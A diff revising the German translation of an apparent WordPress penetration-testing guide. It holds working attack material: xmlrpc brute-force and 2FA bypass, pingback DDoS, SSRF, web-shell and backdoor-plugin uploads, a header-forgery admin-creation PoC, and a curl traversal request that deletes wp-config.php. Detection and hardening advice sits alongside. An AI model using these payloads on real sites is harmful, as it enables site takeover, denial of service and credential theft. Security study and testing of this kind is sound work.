 </params>
 </methodCall>
 ```
-Die Nachricht _"Incorrect username or password"_ innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Anmeldedaten nicht gültig sind.
+Die Meldung _"Incorrect username or password"_ in einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldedaten nicht gültig sind.
 
 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
-Mit den korrekten Anmeldedaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -168,18 +168,18 @@ Mit den korrekten Anmeldedaten kannst du eine Datei hochladen. In der Antwort er
 </params>
 </methodCall>
 ```
-Es gibt auch einen **schnelleren Weg**, Anmeldeinformationen mit **`system.multicall`** zu brute-forcen, da du mehrere Credentials in derselben Anfrage testen kannst:
+Außerdem gibt es eine **schnellere Methode**, um Zugangsdaten per brute-force mit **`system.multicall`** zu testen, da du mehrere Zugangsdaten in derselben Anfrage ausprobieren kannst:
 
 <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
 
-**2FA umgehen**
+**Bypass 2FA**
 
-Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Haupteingang durch 2FA geschützt ist, **kannst du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
+Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, das Haupt-Login aber durch 2FA geschützt ist, **könntest du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest dennoch RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
 
 **DDoS or port scanning**
 
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** scan some internal **network** (you can indicate any port).
+If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\  
+This can be used to ask **Tausende** von **Wordpress**-**sites** dazu, eine einzige **Location** anzusprechen (wodurch dort ein **DDoS** verursacht wird), oder du kannst es nutzen, um **Wordpress** ein internes **Network** scannen zu lassen (du kannst jeden Port angeben).
 ```html
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
 ```
 ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
 
-Wenn Sie **faultCode** mit einem Wert **größer als** **0** (17) erhalten, bedeutet das, dass der Port offen ist.
+Wenn du einen **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist.
 
-Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
+Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
 
 **DDoS**
 ```html
@@ -209,15 +209,15 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
 
 ### wp-cron.php DoS
 
-This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
-Wenn diese Datei **aufgerufen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, sodass sie von **Angreifern** dazu benutzt werden kann, einen **DoS** zu verursachen.\
-Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client eine beliebige Wordpress-Seite anfordert) aufgerufen, was bei stark frequentierten Sites Probleme (DoS) verursachen kann.
+Diese Datei befindet sich normalerweise im Root der Wordpress-Seite: **`/wp-cron.php`**\
+Wenn diese Datei **aufgerufen** wird, wird eine "heavy" MySQL **query** ausgeführt, daher könnte sie von **attackers** genutzt werden, um einen **DoS** zu **verursachen**.\
+Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf aufgerufen (wann immer ein Client eine Wordpress-Seite anfordert), was bei stark frequentierten Seiten Probleme (DoS) verursachen kann.
 
-Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
+Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ und die Wordpress-Seite könnte eine Anfrage an dich senden.
+Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen — die Worpress-Seite könnte dann eine Anfrage an dich senden.
 
 This is the response when it doesn't work:
 
@@ -230,7 +230,7 @@ This is the response when it doesn't work:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und versucht, diese auszunutzen.
+Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind, und falls ja, versucht es, diese auszunutzen.
 
 ## Automatische Tools
 ```bash
@@ -238,20 +238,20 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
-## Zugriff durch Überschreiben eines Bits
+## Zugriff erhalten durch Überschreiben eines Bits
 
-Mehr eine Kuriosität als ein echter Angriff. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konntest du 1 Bit in einer beliebigen wordpress-Datei umdrehen. Du konntest also an Position `5389` der Datei `/var/www/html/wp-includes/user.php` ein Bit umdrehen, damit die NOT-Operation (`!`) zu einem NOP wird.
+Mehr ein Kuriosum als ein echter Angriff. In the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei umdrehen. So konnte man das Bit an Position `5389` der Datei `/var/www/html/wp-includes/user.php` umdrehen, um die NOT (`!`) Operation in ein NOP zu verwandeln.
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
 ```
 ## **Panel RCE**
 
-**Ändern einer php-Datei des verwendeten Themes (Administrator-Zugangsdaten erforderlich)**
+**Bearbeiten einer php-Datei des verwendeten Themes (admin credentials needed)**
 
-Appearance → Theme Editor → 404 Template (rechts)
+Appearance → Theme Editor → 404 Template (auf der rechten Seite)
 
-Ändere den Inhalt zu einer php shell:
+Ändere den Inhalt zu einer php-Shell:
 
 ![](<../../images/image (384).png>)
 
@@ -263,18 +263,18 @@ Du kannst verwenden:
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-um eine Session zu bekommen.
+um eine Session zu erhalten.
 
 ## Plugin RCE
 
 ### PHP plugin
 
 Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
-Erstelle deine PHP backdoor zum Beispiel mit:
+Erstelle deinen php-Backdoor z.B. mit:
 
 ![](<../../images/image (183).png>)
 
-Füge dann ein neues Plugin hinzu:
+Dann füge ein neues Plugin hinzu:
 
 ![](<../../images/image (722).png>)
 
@@ -282,44 +282,44 @@ Plugin hochladen und auf Install Now drücken:
 
 ![](<../../images/image (249).png>)
 
-Klicke auf Procced:
+Auf Procced klicken:
 
 ![](<../../images/image (70).png>)
 
-Wahrscheinlich scheint das zunächst nichts zu bewirken, aber wenn du zu Media gehst, wirst du deine hochgeladene shell sehen:
+Wahrscheinlich scheint das zunächst nichts zu bewirken, aber wenn du zu Media gehst, siehst du deine hochgeladene Shell:
 
 ![](<../../images/image (462).png>)
 
-Rufe sie auf und du siehst die URL zum Ausführen der reverse shell:
+Rufe sie auf und du siehst die URL, um die Reverse Shell auszuführen:
 
 ![](<../../images/image (1006).png>)
 
 ### Uploading and activating malicious plugin
 
-Bei dieser Methode wird ein bekannt verwundbares bösartiges Plugin installiert, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
+Diese Methode beinhaltet die Installation eines bösartigen Plugins, das dafür bekannt ist, verwundbar zu sein und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
 
-1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB bezogen, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
 2. **Plugin Installation**:
-- Navigiere zum WordPress Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
-- Lade die zip-Datei des heruntergeladenen Plugins hoch.
-3. **Plugin Activation**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
+- Navigiere zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
+- Lade die Zip-Datei des heruntergeladenen Plugins hoch.
+3. **Plugin Activation**: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
 4. **Exploitation**:
-- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann es ausgenutzt werden, da es als verwundbar bekannt ist.
-- Das Metasploit framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des passenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt.
-- Es sei angemerkt, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen.
+- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
+- Das Metasploit-Framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter-Session hergestellt werden, die unautorisierten Zugriff auf die Site gewährt.
+- Dies ist nur eine von vielen Methoden, eine WordPress-Seite auszunutzen.
 
-Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins darstellen. Es ist jedoch wichtig zu betonen, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei penetration testing mit ausdrücklicher Genehmigung.
+Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, wenn keine ausdrückliche Genehmigung vorliegt. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. im Rahmen eines Penetrationstests mit ausdrücklicher Erlaubnis.
 
-**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
+**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## Von XSS zu RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
-- _**Privilege Escalation:**_ Erstellt einen user in WordPress.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lade dein custom plugin (backdoor) zu WordPress hoch.
-- _**(RCE) Built-In Plugin Edit:**_ Bearbeite eingebaute Plugins in WordPress.
-- _**(RCE) Built-In Theme Edit:**_ Bearbeite eingebaute Themes in WordPress.
-- _**(Custom) Custom Exploits:**_ Custom Exploits für Third-Party WordPress Plugins/Themes.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle zu eskalieren zu **Remote Code Execution (RCE)** oder anderen kritischen Schwachstellen in WordPress. Für mehr Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
+- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein eigenes Plugin (backdoor) in WordPress hoch.
+- _**(RCE) Built-In Plugin Edit:**_ Editiert ein Built-In Plugin in WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Editiert ein Built-In Theme in WordPress.
+- _**(Custom) Custom Exploits:**_ Eigene Exploits für Third-Party WordPress Plugins/Themes.
 
 ## Post Exploitation
 
@@ -335,13 +335,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Angriffsfläche
 
-Zu wissen, wie ein Wordpress-Plugin Funktionalität freigeben kann, ist entscheidend, um Schwachstellen zu finden. Im Folgenden ist beschrieben, wie ein Plugin Funktionalität freigeben kann, und einige Beispiele verwundbarer Plugins finden Sie in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
+Es ist entscheidend zu wissen, wie ein Wordpress Plugin Funktionalität offenlegen kann, um Schwachstellen in dessen Funktionalität zu finden. Du findest, wie ein Plugin Funktionalität preisgeben kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`**
 
-Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer bereitstellen kann, ist über AJAX-Handler. Diese können logische Fehler sowie Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es recht häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
+Eine Möglichkeit, wie ein Plugin Funktionen gegenüber Benutzern offenlegen kann, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
 
-Das sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin freizugeben:
+Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
 ```php
 add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@@ -349,7 +349,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 **Die Verwendung von `nopriv` macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
 
 > [!CAUTION]
-> Außerdem, wenn die Funktion die Autorisierung des Nutzers nur mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion lediglich, ob der Nutzer eingeloggt ist; sie überprüft normalerweise nicht die Rolle des Nutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
+> Außerdem, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit geringen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
 
 - **REST API**
 
@@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
 )
 );
 ```
-`permission_callback` ist ein Callback zu einer Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
+Der `permission_callback` ist eine Callback-Funktion, die überprüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
 
-**Wenn die eingebaute Funktion `__return_true` verwendet wird, wird die Benutzerberechtigungsprüfung einfach übersprungen.**
+**Wenn die eingebaute `__return_true`-Funktion verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.**
 
 - **Direkter Zugriff auf die php-Datei**
 
-Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn ein Plugin also eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
+Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
 
 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
 
-Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen.
+Einige Plugins implementieren “trusted header”-Abkürzungen für interne Integrationen oder Reverse-Proxy und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen.
 
-- Auswirkung: nicht authentifizierte Privilegieneskalation zu admin durch Erstellen eines neuen administrator über die core users REST route.
-- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste administrator-Konto).
-- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem elevated role array.
+- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
+- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
 
 PoC
 ```http
@@ -393,38 +393,38 @@ Content-Length: 114
 ```
 Warum es funktioniert
 
-- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungszustand und überspringt Capability-Prüfungen.
-- WordPress core erwartet die `create_users` capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
+- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht Capability-Prüfungen.
+- WordPress core erwartet die `create_users` capability für diese Route; das Plugin-Hack umgeht dies, indem es den aktuellen Benutzerkontext direkt aus dem Header setzt.
 
-Erwartete Erfolgsindikatoren
+Erwartete Erfolgssignale
 
 - HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
 - Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`.
 
-Erkennungs-Checkliste
+Checkliste zur Erkennung
 
-- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']` oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Header vertrauen.
-- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind.
+- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']` oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Prüfe REST-Registrierungen auf privilegierte Callbacks, denen robuste `permission_callback`-Prüfungen fehlen und die stattdessen auf Request-Header vertrauen.
+- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur anhand von Header-Werten geschützt sind.
 
-Härtung
+Absicherung
 
-- Leite Authentifizierung oder Autorisierung niemals von client-kontrollierten Headern ab.
-- Wenn ein reverse proxy Identität injizieren muss, beende das Vertrauen am Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` an der Peripherie), übergebe dann ein signed token und überprüfe es serverseitig.
-- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und eine strikte `permission_callback` (verwende NICHT `__return_true`).
-- Bevorzuge first-party auth (cookies, application passwords, OAuth) gegenüber Header-“impersonation”.
+- Leite Authentifizierung oder Autorisierung niemals aus vom Client kontrollierten Headern ab.
+- Wenn ein Reverse-Proxy Identität injizieren muss, beende das Vertrauen am Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` an der Peripherie), und übermittle stattdessen ein signiertes Token, das serverseitig verifiziert wird.
+- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und ein striktes `permission_callback` (verwende NICHT `__return_true`).
+- Bevorzuge First-Party-Auth (cookies, application passwords, OAuth) gegenüber Header-“impersonation”.
 
-Referenzen: siehe die Links am Ende dieser Seite für einen öffentlichen Fall und eine ausführlichere Analyse.
+References: siehe die Links am Ende dieser Seite für einen öffentlichen Fall und eine breitere Analyse.
 
-### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
+### Nicht authentifizierte beliebige Dateilöschung via wp_ajax_nopriv (Litho Theme <= 3.0)
 
-WordPress-Themes und -Plugins exponieren häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_`.  Wenn die **_nopriv_**-Variante verwendet wird **wird der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensitive Aktion zusätzlich implementieren:
+WordPress-Themes und -Plugins exponieren häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_`. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich implementieren:
 
-1. A **capability check** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
-2. Ein **CSRF nonce** validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
-3. **Strenge Input-Sanitisation / Validierung**.
+1. Eine Berechtigungsprüfung (z. B. `current_user_can()` oder zumindest `is_user_logged_in()`), und
+2. Einen CSRF-Nonce, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
+3. Strikte Eingabe-Sanitisation / -Validierung.
 
-Das Litho multipurpose theme (< 3.1) hat diese 3 Kontrollen im Feature *Remove Font Family* vergessen und lieferte schließlich folgenden Code (vereinfacht):
+Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family*-Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
 ```php
 function litho_remove_font_family_action_data() {
 if ( empty( $_POST['fontfamily'] ) ) {
@@ -443,26 +443,28 @@ die();
 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 ```
-* **Nicht authentifizierter Zugriff** – der `wp_ajax_nopriv_` hook ist registriert.
-* **Keine nonce / capability-Prüfung** – jeder Besucher kann den Endpoint aufrufen.
-* **Keine Pfad-Sanitisation** – die vom Benutzer kontrollierte `fontfamily`-Zeichenkette wird ohne Filterung an einen Dateisystempfad angehängt, was klassischen `../../`-Traversal ermöglicht.
+Issues introduced by this snippet:
+
+* **Nicht authentifizierter Zugriff** – der Hook `wp_ajax_nopriv_` ist registriert.
+* **Kein Nonce-/Capability-Check** – jeder Besucher kann den Endpoint erreichen.
+* **Keine Pfad-Sanitisation** – der vom Benutzer kontrollierte String `fontfamily` wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../`-Traversal ermöglicht.
 
 #### Ausnutzung
 
-Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Basisverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP POST-Anfrage löschen:
+Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads-Basisverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) löschen, indem er eine einzelne HTTP POST-Anfrage sendet:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
 -d 'fontfamily=../../../../wp-config.php'
 ```
-Da `wp-config.php` außerhalb von *uploads* liegt, reichen vier `../`-Sequenzen bei einer Standardinstallation aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten* und ermöglicht eine vollständige Seitenübernahme (der Angreifer liefert lediglich eine neue DB-Konfiguration und legt einen Admin-Benutzer an).
+Weil `wp-config.php` außerhalb von *uploads* liegt, reichen vier `../`-Sequenzen in einer Standardinstallation. Das Löschen von `wp-config.php` versetzt WordPress beim nächsten Besuch in den *Installationsassistenten*, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
 
-Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
+Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheitsplugins zu deaktivieren) oder `.htaccess`-Regeln.
 
-#### Checkliste zur Erkennung
+#### Erkennungs-Checkliste
 
-* Jede `add_action( 'wp_ajax_nopriv_...')`-Callback, die Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
-* Verkettung nicht bereinigter Benutzereingaben in Pfade (suche nach `$_POST`, `$_GET`, `$_REQUEST`).
+* Jede `add_action( 'wp_ajax_nopriv_...')`-Callback-Funktion, die Dateisystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.) aufruft.
+* Verkettung von unsanitisierten Benutzereingaben in Pfade (auf `$_POST`, `$_GET`, `$_REQUEST` achten).
 * Fehlen von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
 
 #### Härtung
@@ -485,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 //  🔒  NO wp_ajax_nopriv_ registration
 ```
 > [!TIP]
-> **Behandle immer** jede Schreib-/Löschoperation auf dem Datenträger als privilegiert und prüfe doppelt:
-> • Authentifizierung  • Autorisierung  • Nonce  • Eingabevalidierung  • Pfadbegrenzung (z. B. via `realpath()` plus `str_starts_with()`).
+> **Behandle** jede Schreib-/Löschoperation auf der Festplatte immer als privilegiert und überprüfe doppelt:
+> • Authentifizierung  • Autorisierung  • Nonce  • Eingabe-Sanitisation  • Pfad-Einschlussprüfung (z. B. über `realpath()` plus `str_starts_with()`).
 
 ---
 
-### Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
+### Privilegieneskalation durch veraltete Rollwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
 
-Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) im User-Meta speichern, um sie später wiederherstellen zu können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin geführten Liste beruht, ohne die capabilities zu prüfen und ohne eine gültige Nonce, führt das zu einer vertikalen Privilegieneskalation.
